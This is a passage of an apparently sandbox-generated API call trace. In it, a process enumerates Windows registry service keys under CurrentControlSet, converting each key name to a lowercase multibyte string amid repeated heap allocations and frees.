(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.471] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.471] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.471] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.472] RegCloseKey (hKey=0xc4) returned 0x0 [0228.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.472] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.473] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.473] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.473] RegCloseKey (hKey=0x148) returned 0x0 [0228.473] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.473] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.474] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1970, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.474] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.475] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1970, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.475] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.475] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.475] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.476] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.477] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 